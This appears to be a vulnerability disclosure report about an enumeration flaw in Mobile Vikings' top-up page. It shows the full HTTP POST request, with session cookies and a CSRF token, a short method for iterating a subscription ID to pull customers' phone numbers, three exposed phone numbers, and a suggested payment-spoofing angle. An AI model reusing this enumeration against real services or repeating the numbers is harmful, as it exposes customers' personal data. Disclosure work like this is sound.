Enum phone numbers thru /en/sims/topup/add/

How it was found

Using request: POST /en/sims/topup/add/? HTTP/1.1 Host: mobilevikings.be User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://mobilevikings.be/en/sims/topup/add/ Cookie: mobilevikingsbe=fda79999f5d3ea86aee1cac688306948; csrftoken=AlEqSERKOXKjZfSdw2WtPY4l7n5b68BM; cookies.js=1; _ga=GA1.2.843387348.1423586164; __utmx=177304377.1C02iW_2TT2rFZKjDPjE7Q$0:0; __utmxx=177304377.1C02iW_2TT2rFZKjDPjE7Q$0:1423604553:8035200; __atuvc=5%7C6; _gat=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 146

csrfmiddlewaretoken=AlEqSERKOXKjZfSdw2WtPY4l7n5b68BM&subscription=1036392&plan=plan_25_Pkg_50_Dec_2012&vp_amount=&method=bitpay&password_nomethod=

(This request make a page consist sensitive info and this page auto redirect to provider's order page) It is possible to retrieve all phone numbers in systems iterating subscription parameter. Example: subscription=1036392 -> +32495121215 subscription=1036390 -> +32475247663 subscription=1036388 -> +32495445503 and so on. The other side of this issue on my mind is that we can force payment process on any valid session with any number as recipient. And tests shown that not all providers show payment details (recipient number on order page). And it is the way to spoof payment process.